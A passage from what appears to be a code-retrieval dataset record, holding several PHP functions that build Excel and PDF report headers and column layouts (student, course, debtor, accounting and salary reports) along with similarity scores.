$excel->getActiveSheet()->getStyle('A'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('B'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('C'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('D'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('E'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('F'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('G'.$numrow)->applyFromArray($style_row);\n \n $no++; // Tambah 1 setiap kali looping\n $numrow++; // Tambah 1 setiap kali looping\n }\n // Set width kolom\n $excel->getActiveSheet()->getColumnDimension('A')->setWidth(5); // Set width kolom A\n $excel->getActiveSheet()->getColumnDimension('B')->setWidth(30); // Set width kolom B\n $excel->getActiveSheet()->getColumnDimension('C')->setWidth(25); // Set width kolom C\n $excel->getActiveSheet()->getColumnDimension('D')->setWidth(20); // Set width kolom D\n $excel->getActiveSheet()->getColumnDimension('E')->setWidth(25); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('F')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('G')->setWidth(25);\n \n // Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n $excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n // Set orientasi kertas jadi LANDSCAPE\n $excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n // Set judul file excel nya\n $excel->getActiveSheet(0)->setTitle(\"Laporan Data Siswa\");\n $excel->setActiveSheetIndex(0);\n // Proses file excel\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"Laporan Koneksi Internet.xlsx\"'); // Set nama file excel nya\n header('Cache-Control: max-age=0');\n $write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n $write->save('php://output');\n }", "public function getHeading(): string;", "public function get()\r\n\t{\r\n\t\t$objPHPExcel = new PHPExcel();\r\n\r\n\t\t$worksheet = $objPHPExcel->createSheet(0);\r\n\r\n\t for ($cell='A'; $cell <= 'G'; $cell++)\r\n\t {\r\n\t $worksheet->getStyle($cell.'1')->getFont()->setBold(true);\r\n\t }\r\n\r\n\t $worksheet->getStyle('A1:G1')->applyFromArray(\r\n\t \tarray(\r\n\t\t 'alignment' => array(\r\n\t\t 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\r\n\t\t ),\r\n\t\t 'borders' => array(\r\n\t\t 'allborders' => array(\r\n\t\t 'style' => PHPExcel_Style_Border::BORDER_THIN,\r\n\t\t 'color' => array('rgb' => '000000')\r\n\t\t )\r\n\t\t ),\r\n\t\t 'fill' => array(\r\n\t\t 'type' => PHPExcel_Style_Fill::FILL_SOLID,\r\n\t\t 'color' => array('rgb' => 'F2F2F2')\r\n\t\t )\r\n\t \t)\r\n\t );\r\n\r\n\t\t// Header dokumen\r\n\t\t $worksheet->setCellValue('A1', 'NO.')\r\n\t\t \t\t ->setCellValue('B1', 'Kode MK')\r\n\t\t \t\t ->setCellValue('C1', 'Mata Kuliah')\r\n\t\t \t\t ->setCellValue('D1', 'Mata Kuliah (Asing)')\r\n\t\t \t\t ->setCellValue('E1', 'Jumlah SKS')\r\n\t\t \t\t ->setCellValue('F1', 'Semester')\r\n\t\t \t\t ->setCellValue('G1', 'Konsentrasi');\r\n\r\n\t\t$this->db->join('concentration', 'course.concentration_id = concentration.concentration_id', 'left');\r\n\t\t$row_cell = 2;\r\n\t\tforeach($this->db->get('course')->result() as $key => $value)\r\n\t\t{\r\n\t\t\t $worksheet->setCellValue('A'.$row_cell, ++$key)\r\n\t\t\t \t\t ->setCellValue('B'.$row_cell, $value->course_code)\r\n\t\t\t \t\t ->setCellValue('C'.$row_cell, $value->course_name)\r\n\t\t\t \t\t ->setCellValue('D'.$row_cell, $value->course_name_english)\r\n\t\t\t \t\t ->setCellValue('E'.$row_cell, $value->sks)\r\n\t\t\t \t\t ->setCellValue('F'.$row_cell, ucfirst($value->semester))\r\n\t\t\t \t\t ->setCellValue('G'.$row_cell, $value->concentration_name);\r\n\t\t\t$row_cell++;\r\n\t\t}\r\n\r\n\t\t// Sheet Title\r\n\t\t$worksheet->setTitle(\"DATA MATA KULIAH\");\r\n\r\n\t\t$objPHPExcel->setActiveSheetIndex(0);\r\n\r\n $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\r\n header(\"Last-Modified: \" . gmdate(\"D, d M Y H:i:s\") . \" GMT\");\r\n header(\"Cache-Control: no-store, no-cache, must-revalidate\");\r\n header(\"Cache-Control: post-check=0, pre-check=0\", false);\r\n header(\"Pragma: no-cache\");\r\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\\\r\n header('Content-Disposition: attachment; filename=\"DATA-MATA-KULIAH.xlsx\"');\r\n $objWriter->save(\"php://output\");\r\n\t}", "function exportDataToExcel($table_details,$file_name,$worksheet_name)\n\n\t{\n\t// Creating a workbook\n\t$workbook = new Spreadsheet_Excel_Writer();\n\t\n\t// sending HTTP headers\n\t$workbook->send(\"$file_name\".'xls');\n\t\n\t// Creating a worksheet\n\t$worksheet =& $workbook->addWorksheet(\"'$worksheet_name'\");\n\t\n\t\n\t\tif ($table_details)\n\t\t\t{\n\t\t\t\t$colcount=0; //for setting the footer colspan\n\t\t\t\tforeach($table_details[0] as $key=>$value)\n\t\t\t\t\t{\n\t\t\t\t\t$worksheet->write(0,$colcount ,$key );\n\t\t\t\t\t$colcount++;\n\t\t\t\t\t}\n\t\t\t}\n\t\t\t$i=0;\n\t\t\t$cnt=count($table_details);\n\t\t\t\n\t\t\tfor($j=0; $j<$cnt; $j++)\n\t\t\t\t{\n\t\n\t\t\t\t$cell=0;\n\t\t\t\tforeach($table_details[$j] as $key=>$value)\n\t\t\t\t\t{\n\t\n\t\t\t\t\t$worksheet->write($j+1,$cell ,$value );\n\t\t\t\t\t$cell++;\n\t\t\t\t\t}\n\t\n\t\t\t\t}\n\t$workbook->close();\n\t}", "function Header()\n\t{\n\t\tglobal $TAHUN;\n\t\tglobal $gelom;\n\t\tglobal $np;\n\t\t$this->Image('umg.jpg',2.5,0.7,1.8,1.8);\t\n\t\t$this->SetY(1);\n\t\t$this->SetFont('Times','',10);\t\t\n\t\tif($np=='1') { $test= 'BEBAS TEST'; }\n\t\tif($np=='2') { $test= 'TEST'; }\n\t\t$this->Cell(19,0.5,'UNIVERSITAS MUHAMMADIYAH GRESIK',0,0,'C'); \t\t\n\t\t$this->Ln();\n\t\t$this->Cell(19,0.5,'DAFTAR '.$test.' CALON MAHASISWA BARU',0,0,'C');\t\t\t\t\n\t\t$this->Ln();\n\t\t$this->Cell(19,0.5,'TAHUN '.$TAHUN.' GELOMBANG '.$gelom,0,0,'C');\t\t\t\t\n\t\t\n\t\t$this->Ln();\n\t\t$this->SetFont('Arial','B',8);\n\t\t$this->Ln();\n\t\t$this->Cell(1.2,0.5,'No','LBRT',0,'C');\n\t\t$this->Cell(2.8,0.5,'Nomor Pendaftaran','LBRT',0,'C');\n\t\tif($np=='1') \n\t\t{ \n\t\t\t$this->Cell(10.8,0.5,'Nama Calon Mahasiswa','LBRT',0,'C');\n\t\t}\n\t\tif($np=='2') \n\t\t{ \n\t\t\t$this->Cell(2.8,0.5,'Nomor Ujian','LBRT',0,'C');\n\t\t\t$this->Cell(8,0.5,'Nama Calon Mahasiswa','LBRT',0,'C');\n\t\t}\n\t\t$this->Cell(4.2,0.5,'Jurusan','LBRT',0,'C');\n\t\t$this->Ln();\n\t}", "function Header()\r\n{\r\n $this->SetFont('Arial','B',15);\r\n // Move to the right\r\n $this->Cell(80);\r\n // Framed title\r\n //$this->Cell(30,10,'Title',1,0,'C');\r\n // Line break\r\n $this->Ln(15);\r\n}", "public function headings():array\n {\n\t\tif(Auth::user()->role_id == 1 || Auth::user()->role_id == 14)\n\t\t{\n\t\t\tif( $this->paymentOnlyDownload ==\"1\" || $this->paymentOnlyDownload ==\"2\"){\n\t\t\t\treturn [\n\t\t\t\t\t'Member ID',\n\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n\t\t\t\t\t\t'PaidDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'Payment Updated Date',\n\t\t\t\t\t\t'PaidAmount',\n\t\t\t\t\t\t'PaidNote',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n 'Waived Off Reason'\n\t\t\t\t ];\n\t\t\t}else{\n\t\t\t\treturn [\n\t\t\t\t\t'Member ID',\n\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t'Organization Name',\n\t\t\t\t\t'Company Name',\n\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t'Person Name',\n\t\t\t\t\t'Sector',\n\t\t\t\t\t'Designation',\n\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t'Address',\n\t\t\t\t\t'State',\n\t\t\t\t\t'City',\n\t\t\t\t\t'Pincode',\n\t\t\t\t\t'Due ID',\n\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t'DueAmount',\n 'Balance Due Amount',\n\t\t\t\t\t'DueNote',\n\t\t\t\t\t'Email',\n\t\t\t\t\t'Grace Period',\n\t\t\t\t\t'Custom ID',\n\t\t\t\t\t'Invoice Number',\n\t\t\t\t\t'Checkmy Report Link',\n\t\t\t\t\t'Proof of Due',\n\t\t\t\t ];\n\t\t\t}\n\t\t}\n\n\t\t\t else {\n\n\t\t\t\tif( $this->paymentOnlyDownload ==\"1\" || $this->paymentOnlyDownload ==\"2\"){\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n\t\t\t\t\t\t'PaidDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'Payment Updated Date',\n\t\t\t\t\t\t'PaidAmount',\n\t\t\t\t\t\t'PaidNote',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n 'Waived Off Reason'\n\t\t\t\t\t ];\n\t\t\t\t}else{\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n 'Balance Due Amount',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n\t\t\t\t\t\t'Checkmy Report Link',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t ];\n\n\t\t\t\t}\n\n\t\t\t }\n }", "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nUnique to Oracle\nMAINHEADING;\n }", "public function action_export_obic(){\n\t\t$objPHPExcel = new \\PHPExcel();\n\t\t//add header\n $header = [\n '会社NO', '伝票番号', '発生日', 'システム分類', 'サイト番号', '仕訳区分', '伝票区分', '事業所コード', '行番号', '借方総勘定科目コード',\n '借方補助科目コード', '借方補助内訳科目コード', '借方部門コード', '借方取引先コード', '借方税区分', '借方税込区分',\n '借方金額', '借方消費税額', '借方消費税本体科目コード', '借方分析コード1', '借方分析コード2', '借方分析コード3', '借方分析コード4', '借方分析コード5',\n '借方資金コード', '借方プロジェクトコード', '貸方総勘定科目コード', '貸方補助科目コード', '貸方補助内訳科目コード', '貸方部門コード',\n '貸方取引先コード', '貸方税区分', '貸方税込区分', '貸方金額', '貸方消費税額', '貸方消費税本体科目コード',\n '貸方分析コード1', '貸方分析コード2', '貸方分析コード3', '貸方分析コード4', '貸方分析コード5', '貸方資金コード',\n '貸方プロジェクトコード', '明細摘要', '伝票摘要', 'ユーザID', '借方事業所コード', '貸方事業所コード'\n ];\n\n $objPHPExcel->getProperties()->setCreator('VisionVietnam')\n ->setLastModifiedBy('Phong Phu')\n ->setTitle('Office 2007 Document')\n ->setSubject('Office 2007 Document')\n ->setDescription('Document has been generated by PHP')\n ->setKeywords('Office 2007 openxml php')\n ->setCategory('OBIC File');\n $last_column = null;\n $explicit = [7,8,10,11,12,13,15,16,27,28,29,30,32];\n\n foreach($header as $i=>$v){\n\t\t\t$column = \\PHPExcel_Cell::stringFromColumnIndex($i);\n\t\t\t$objPHPExcel->setActiveSheetIndex(0)->setCellValue($column.'1',$v);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($column.'1')\n\t\t\t\t\t\t->applyFromArray([\n\t\t\t\t\t\t 'font' => [\n\t\t\t\t\t\t 'name' => 'Times New Roman',\n\t\t\t\t\t\t 'bold' => true,\n\t\t\t\t\t\t 'italic' => false,\n\t\t\t\t\t\t 'size' => 10,\n\t\t\t\t\t\t 'color' => ['rgb'=> \\PHPExcel_Style_Color::COLOR_WHITE]\n\t\t\t\t\t\t ],\n\t\t\t\t\t\t 'alignment' => [\n\t\t\t\t\t\t 'horizontal' => \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\n\t\t\t\t\t\t 'vertical' => \\PHPExcel_Style_Alignment::VERTICAL_CENTER,\n\t\t\t\t\t\t 'wrap' => false\n\t\t\t\t\t\t ]\n\t\t\t\t\t\t]);\n switch($i+1){\n case 4:\n case 15:\n case 16:\n case 18:\n $width = 20;\n break;\n case 13:\n case 14:\n case 20:\n case 21:\n case 22:\n case 23:\n case 24:\n case 25:\n case 30:\n case 31:\n $width = 25;\n break;\n case 10:\n case 11:\n case 12:\n case 19:\n case 26:\n case 27:\n case 28:\n $width = 30;\n break;\n case 29:\n case 44:\n case 45:\n $width = 40;\n break;\n default:\n $width = 15;\n break;\n }\n $objPHPExcel->getActiveSheet()->getColumnDimension($column)->setWidth($width);\n $last_column = $column;\n }\n //decode params\n $param = \\Input::param();\n parse_str(base64_decode($param['p']), $params);\n //get form payment content\n $rows = $this->generate_content($params);\n $i = 0;\n foreach($rows as $row){\n\t\t\tforeach($row as $k=>$v){\n\t\t\t\t$column = \\PHPExcel_Cell::stringFromColumnIndex($k);\n\t\t\t\tif(in_array($k+1,$explicit)){\n\t\t\t\t\t$objPHPExcel->setActiveSheetIndex()->setCellValueExplicit($column.($i+2),$v,\\PHPExcel_Cell_DataType::TYPE_STRING);\n\t\t\t\t}else{\n\t\t\t\t\t$objPHPExcel->setActiveSheetIndex()->setCellValue($column.($i+2),$v);\n\t\t\t\t}\n\t\t\t}\n\t\t\t$i++;\n\t\t}\n\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A1:'.$last_column.'1')->getFill()->setFillType(\\PHPExcel_Style_Fill::FILL_SOLID);\n $objPHPExcel->getActiveSheet()->getStyle('A1:'.$last_column.'1')->getFill()->getStartColor()->setRGB('5f5f5f');\n\n\t\t$objWriter = \\PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n\t\tob_end_clean();\n\n\t\theader(\"Last-Modified: \". gmdate(\"D, d M Y H:i:s\") .\" GMT\");\n header(\"Cache-Control: max-age=0\");\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"obic-'.date('Y-m-d').'.xls\"');\n $objWriter->save('php://output');\n\t\texit;\n }", "protected function addHeaderRowToCSV() {}", "function adleex_resource_list_column_header( $cols ) {\nglobal $current_screen;\n\n\tif ($current_screen->post_type!='resource') return $cols;\n\n\tunset($cols['date']);\n\t$header = array(\n 'post_title' => 'title', );\n\tforeach($header\tas $k => $v) $cols[$k]=$v;\n\treturn $cols;\n}", "public function makeTable($header, $data) {\n $this->SetFillColor(255, 0, 0);\n $this->SetTextColor(255);\n $this->SetDrawColor(128, 0, 0);\n $this->SetLineWidth(.3);\n $this->SetFont('', 'B');\n // Header\n $w = array(10, 25, 40, 10, 25, 15, 60, 10, 10, 10, 10, 10, 10, 10, 10, 10);\n for ($i = 0; $i < count($header); $i++)\n if ($i == 0) {\n $this->Cell($w[$i], 7, $header[$i], 1, 0, 'C', true);\n } else {\n $this->Cell($w[$i], 7, $header[$i], 1, 0, 'L', true);\n }\n $this->Ln();\n // Color and font restoration\n $this->SetFillColor(224, 235, 255);\n $this->SetTextColor(0);\n $this->SetFont('');\n // Data\n $fill = false;\n\n foreach ($data as $row) {\n $this->nr++;\n $this->Cell($w[0], 6, $this->nr, 'LR', 0, 'C', $fill);\n $this->Cell($w[1], 6, $row['article'], 'LR', 0, 'L', $fill);\n $this->Cell($w[2], 6, $row['brand'], 'LR', 0, 'L', $fill);\n $this->Cell($w[3], 6, $row['inch'], 'LR', 0, 'L', $fill);\n $this->Cell($w[4], 6, $row['size'], 'LR', 0, 'L', $fill);\n $this->Cell($w[5], 6, $row['lisi'], 'LR', 0, 'L', $fill);\n $this->Cell($w[6], 6, $row['design'], 'LR', 0, 'L', $fill);\n $this->Cell($w[7], 6, $row['onhand'], 'LR', 0, 'C', $fill);\n $this->Cell($w[8], 6, \"\", 'LR', 0, 'C', $fill);\n $this->Cell($w[9], 6, \"\", 'LR', 0, 'C', $fill);\n $this->Cell($w[10], 6, \"\", 'LR', 0, 'C', $fill);\n $this->Cell($w[11], 6, \"\", 'LR', 0, 'C', $fill);\n $this->Cell($w[12], 6, \"\", 'LR', 0, 'C', $fill);\n $this->Cell($w[13], 6, \"\", 'LR', 0, 'C', $fill);\n $this->Cell($w[14], 6, \"\", 'LR', 0, 'C', $fill);\n $this->Cell($w[15], 6, \"\", 'LR', 0, 'C', $fill);\n $this->Ln();\n $fill = !$fill;\n }\n // Closing line\n $this->Cell(array_sum($w), 0, '', 'T');\n }", "public function addTableHeader( $data, $params = array(), $rgbColor = 'FFFFFF', $rgbBackgroundColor = '00B0F0', $set_gnm_legend = true ) {\n\n if(empty($params)){\n $params = $this->estiloCabecera;\n }\n\t\t// offset\n\t\tif (array_key_exists('offset', $params))\n\t\t\t$offset = is_numeric($params['offset']) ? (int)$params['offset'] : PHPExcel_Cell::columnIndexFromString($params['offset']);\n\t\t// font name\n\t\tif (array_key_exists('font', $params))\n\t\t\t$this->xls->getActiveSheet()->getStyle($this->row)->getFont()->setName($params['font_name']);\n\t\t// font size\n\t\tif (array_key_exists('size', $params))\n\t\t\t$this->xls->getActiveSheet()->getStyle($this->row)->getFont()->setSize($params['font_size']);\n\t\t// bold\n\t\tif (array_key_exists('bold', $params))\n\t\t\t$this->xls->getActiveSheet()->getStyle($this->row)->getFont()->setBold($params['bold']);\n\t\t// italic\n\t\tif( array_key_exists('italic', $params ))\n\t\t\t$this->xls->getActiveSheet()->getStyle($this->row)->getFont()->setItalic($params['italic']);\n\n $styleArray = array(\n 'font' => array(\n 'color' => array('rgb' => $rgbColor),\n ),\n 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_SOLID,\n 'color' => array('rgb' => $rgbBackgroundColor),\n ),\n );\n\n /*$styleArray2 = array(\n 'font' => array(\n 'color' => array('rgb' => 'FFFFFF'),\n ),\n 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_SOLID,\n //'color' => array('rgb'=>'115372'),\n 'color' => array('rgb'=>'319FEE'),\n ),\n 'borders' => array(\n 'allborders' => array(\n 'style' => PHPExcel_Style_Border::BORDER_THIN,\n 'color' => array('argb' => 'FF000000'),\n )\n ),\n );*/\n\n $this->xls->getActiveSheet()->getStyle($this->row)->applyFromArray( $styleArray );\n\n\n\n //$this->xls->getActiveSheet()->getStyle($this->row)->applyFromArray( $styleArray2 );\n\n\n\n\t\t// set internal params that need to be processed after data are inserted\n\t\t$this->tableParams = array(\n\t\t\t'header_row' => $this->row,\n\t\t\t'offset' => $offset,\n\t\t\t'row_count' => 0,\n\t\t\t'auto_width' => array(),\n\t\t\t'filter' => array(),\n\t\t\t'wrap' => array()\n\t\t);\n\n\t\tforeach( $data as $d ){\n\t\t\t// set label\n if( !empty( $d['file'] ) ){\n if( !$this->addImage( $d['file'], PHPExcel_Cell::stringFromColumnIndex( $offset ), $this->row ) ){\n $this->xls->getActiveSheet()->setCellValueExplicitByColumnAndRow($offset, $this->row, $d['label']);\n }\n } else{\n $this->xls->getActiveSheet()->setCellValueByColumnAndRow($offset, $this->row, $d['label']);\n }\n\t\t\t// set width\n //$this->tableParams['auto_width'][] = $offset;// siempre auto\n\t\t\tif (array_key_exists('width', $d)) {\n\t\t\t\tif ($d['width'] == 'auto')\n\t\t\t\t\t$this->tableParams['auto_width'][] = $offset;\n\t\t\t\telse\n\t\t\t\t\t$this->xls->getActiveSheet()->getColumnDimensionByColumn($offset)->setWidth((float)$d['width']);\n\t\t\t}\n\t\t\t// filter\n\t\t\tif (array_key_exists('filter', $d) && $d['filter'])\n\t\t\t\t$this->tableParams['filter'][] = $offset;\n\t\t\t// wrap\n\t\t\tif (array_key_exists('wrap', $d) && $d['wrap'])\n\t\t\t\t$this->tableParams['wrap'][] = $offset;\n\n\t\t\t$offset++;\n\t\t}\n\t\t$this->row++;\n\n if( $set_gnm_legend ) {\n $this->xls->getActiveSheet()->setCellValue('A1', \"provided by\\nGNM INTERNATIONAL\");\n $this->xls->getActiveSheet()->getStyle('A1')->getAlignment()->setWrapText(true);\n\n $this->xls->getActiveSheet()->getStyle('A1')->applyFromArray(array(\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_RIGHT,\n ),\n 'font' => array(\n 'bold' => true,\n 'color' => array('rgb' => '0000FF'),\n 'size' => 7,\n 'name' => 'Calibri'\n )\n ));\n }\n\n\t}", "abstract protected function excel ();", "function experiences_columns_head($defaults) {\n $defaults['experience_order'] = 'Order';\n $defaults['featured_image'] = 'Featured Image';\n $defaults['experience_size'] = 'Size';\n $defaults['experience_link'] = 'Link';\n return $defaults;\n}" ]
[ "0.7372816", "0.72830814", "0.72400606", "0.71311295", "0.71306455", "0.6960493", "0.6900872", "0.68873364", "0.6766379", "0.6751299", "0.6729971", "0.65634745", "0.6482649", "0.64192754", "0.640305", "0.63615924", "0.6303284", "0.62914985", "0.6235944", "0.62115747", "0.620614", "0.6198102", "0.6155642", "0.614297", "0.6139143", "0.6092231", "0.60817355", "0.60619277", "0.60534865", "0.6047909", "0.60405076", "0.60373664", "0.6032901", "0.6017803", "0.5990727", "0.5981484", "0.597824", "0.5962793", "0.594721", "0.59459615", "0.5935438", "0.5912242", "0.5859907", "0.58478004", "0.5824276", "0.5813987", "0.58030254", "0.5799879", "0.5788716", "0.5770447", "0.5766013", "0.5764307", "0.5756331", "0.57330227", "0.5729106", "0.57248807", "0.5723172", "0.5709905", "0.57043236", "0.5694001", "0.56929564", "0.56870556", "0.56696814", "0.5669344", "0.5662615", "0.5658365", "0.5649129", "0.56378853", "0.5635834", "0.5635696", "0.56336844", "0.56334794", "0.5625666", "0.56112355", "0.5609472", "0.5603574", "0.55987096", "0.55919605", "0.55879897", "0.55716693", "0.5566454", "0.55527216", "0.55522406", "0.55440015", "0.5543136", "0.5539427", "0.5538604", "0.55378085", "0.5523467", "0.55204815", "0.5509921", "0.55074954", "0.5504903", "0.55030894", "0.549515", "0.54926795", "0.54917914", "0.54909366", "0.5489389", "0.5483483" ]
0.6905769
6
Regions data excel headings
public static function excelRegionsHeadings() { return [ 'Region', ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function excelMigrationHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n ];\n }", "public static function excelSummaryHeadings()\n {\n return [\n 'Industry',\n 'Survey responses',\n 'Employer',\n 'Government body',\n 'Non-government organisation',\n 'Registered training organisation',\n 'Enterprise training provider',\n 'Group training organisation',\n 'Skills service organisation',\n 'Individual',\n 'Trade union',\n 'Industry Association/Peak body',\n 'Statutory authority',\n 'Self-employed',\n 'Not for profit',\n 'School or University',\n 'Other',\n 'Small',\n 'Medium',\n 'Large'\n ];\n }", "public static function excelRecruitmentHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelIndustryHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Industry',\n 'Qualification type',\n// 'Employer size'\n ];\n }", "public static function excelStateHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Qualification type',\n 'Employer size'\n ];\n }", "public static function excelRetentionHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow, $COM_LEVEL_SALP;\n\n\t\t$worksheet->set_column(0, 0, 6);\n\t\t$worksheet->set_column(1, 1, 20);\n\t\t$worksheet->set_column(2, 2, 25);\n\t\t$worksheet->set_column(3, 3, 50);\n\t\t$worksheet->set_column(4, 4, 15);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 15);\n\t\t$worksheet->set_column(7, 7, 15);\n\t\t$worksheet->set_column(8, 8, 35);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"เลขประจำตัวประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"ชื่อ-นามสกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ตำแหน่ง/สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"อัตราเงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"เงินตอบแทน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"ที่เต็มขั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ร้อยละ 2 (บาท)\", 